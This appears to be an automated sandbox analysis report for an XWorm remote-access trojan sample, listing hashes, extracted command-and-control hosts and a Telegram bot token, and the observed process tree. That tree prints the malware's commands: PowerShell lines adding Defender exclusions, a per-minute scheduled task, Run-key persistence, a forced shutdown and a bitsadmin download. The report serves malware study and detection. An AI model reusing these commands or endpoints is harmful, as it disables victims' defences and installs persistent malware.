Analysis
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max time kernel
95s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 03:18
Static task
static1
Behavioral task
behavioral1
Sample
Output.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
Output.exe
Resource
win10v2004-20240426-en
Errors
General
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Target
Output.exe
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Size
122KB
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MD5
fd08b9ac311ff6eb9c24e79ebb829b0c
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SHA1
e2a8a4a97f104cc6c9fcb43d2e15e05bf0c73ff3
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SHA256
3c63c4ca4f2fe4c5541ecb267e8c98154dcd1ec3dada24efa8b50ec8d4542824
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SHA512
55829d66ef2b92e96c693c6af08008602b19754ada2c9100d3f630de69742d99d4b87cf89518402c1a0c05b4da81129793dd489a6af4d0ae5df520f783432dab
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SSDEEP
3072:mz8hmIvtEwHJp7eiH7o8cB5+LuLjB3/IMKilf55:LEUJpp0/cKLj9wMK
Malware Config
Extracted
xworm
127.0.0.1:40971
us3.localto.net:40971
Name1442-40971.portmap.host:40971
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Install_directory
%Temp%
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install_file
KVRT.exe
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telegram
https://api.telegram.org/bot6916721041:AAGsGXyaplDWQ9HJlE88Z36KtBFClSB3E20
Signatures
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Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\KVRT.exe family_xworm behavioral2/memory/4156-15-0x0000000000CA0000-0x0000000000CBE000-memory.dmp family_xworm -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 1576 powershell.exe 5052 powershell.exe 4412 powershell.exe 2308 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Output.exemshta.exeKVRT.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation Output.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation KVRT.exe -
Drops startup file 2 IoCs
Processes:
KVRT.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KVRT.lnk KVRT.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KVRT.lnk KVRT.exe -
Executes dropped EXE 3 IoCs
Processes:
KVRT.exeKVRT.exeKVRT.exepid process 4156 KVRT.exe 3240 KVRT.exe 1860 KVRT.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
KVRT.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KVRT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\KVRT.exe" KVRT.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 13 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Download via BitsAdmin 1 TTPs 1 IoCs
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Modifies data under HKEY_USERS 15 IoCs
Processes:
LogonUI.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "156" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe -
Modifies registry class 1 IoCs
Processes:
Output.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings Output.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
KVRT.exepid process 4156 KVRT.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeKVRT.exepid process 2308 powershell.exe 2308 powershell.exe 1576 powershell.exe 1576 powershell.exe 5052 powershell.exe 5052 powershell.exe 4412 powershell.exe 4412 powershell.exe 4156 KVRT.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
Processes:
KVRT.exepowershell.exepowershell.exepowershell.exepowershell.exeKVRT.exeKVRT.exeshutdown.exedescription pid process Token: SeDebugPrivilege 4156 KVRT.exe Token: SeDebugPrivilege 2308 powershell.exe Token: SeDebugPrivilege 1576 powershell.exe Token: SeDebugPrivilege 5052 powershell.exe Token: SeDebugPrivilege 4412 powershell.exe Token: SeDebugPrivilege 4156 KVRT.exe Token: SeDebugPrivilege 3240 KVRT.exe Token: SeDebugPrivilege 1860 KVRT.exe Token: SeShutdownPrivilege 940 shutdown.exe Token: SeRemoteShutdownPrivilege 940 shutdown.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
KVRT.exeLogonUI.exepid process 4156 KVRT.exe 5080 LogonUI.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
Output.exemshta.exeKVRT.exedescription pid process target process PID 1116 wrote to memory of 4156 1116 Output.exe KVRT.exe PID 1116 wrote to memory of 4156 1116 Output.exe KVRT.exe PID 1116 wrote to memory of 3296 1116 Output.exe mshta.exe PID 1116 wrote to memory of 3296 1116 Output.exe mshta.exe PID 1116 wrote to memory of 3296 1116 Output.exe mshta.exe PID 3296 wrote to memory of 1580 3296 mshta.exe bitsadmin.exe PID 3296 wrote to memory of 1580 3296 mshta.exe bitsadmin.exe PID 3296 wrote to memory of 1580 3296 mshta.exe bitsadmin.exe PID 4156 wrote to memory of 2308 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 2308 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 1576 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 1576 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 5052 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 5052 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 4412 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 4412 4156 KVRT.exe powershell.exe PID 4156 wrote to memory of 4432 4156 KVRT.exe schtasks.exe PID 4156 wrote to memory of 4432 4156 KVRT.exe schtasks.exe PID 4156 wrote to memory of 940 4156 KVRT.exe shutdown.exe PID 4156 wrote to memory of 940 4156 KVRT.exe shutdown.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Output.exe"C:\Users\Admin\AppData\Local\Temp\Output.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Users\Admin\AppData\Roaming\KVRT.exe"C:\Users\Admin\AppData\Roaming\KVRT.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\KVRT.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KVRT.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4412
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "KVRT" /tr "C:\Users\Admin\AppData\Local\Temp\KVRT.exe"3⤵
- Creates scheduled task(s)
PID:4432
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C:\Windows\SYSTEM32\shutdown.exeshutdown.exe /f /s /t 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:940
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://devbuilds.s.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe3⤵
- Download via BitsAdmin
PID:1580
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C:\Users\Admin\AppData\Local\Temp\KVRT.exeC:\Users\Admin\AppData\Local\Temp\KVRT.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3240
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3312
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C:\Users\Admin\AppData\Local\Temp\KVRT.exeC:\Users\Admin\AppData\Local\Temp\KVRT.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1860
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3959855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5080
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
944B
MD5a7cc007980e419d553568a106210549a
SHA1c03099706b75071f36c3962fcc60a22f197711e0
SHA256a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165
SHA512b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
877B
MD526fde2dde716bf34ccd01dc4e14a1513
SHA1c0f9355285806e665cd8adb5f505e6dd1a829058
SHA2563f132ede178bfbe1e0271cf42f9209a9e51ef3be491d5cce9e4c8a82349b67f9
SHA51270667597d52e1b3d2db35c6d6f4fbb346d523c42f460ee4b1c34e4257ae66bc69e9a1369b0fbe9fe7d580491233ae94cb3507c098f9927cc90daf8d29eb3cd8c
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Filesize
95KB
MD5caacc00a3a1be01e99f29abcf5f242c4
SHA12605c5337c15fda32deafe27d49baf34ab892561
SHA256209e122072c202f0e7663407dbfb6c99774360ee736fcaad8a6998adbb06224e
SHA5123ca0c64f573bb07b2b93ec2bbffe9684bbc6e764f0ab07d716d1d035897aaf0c6d71444e569deb28ef57067717b30f52b20eba5176c657fe0c69746778d852e1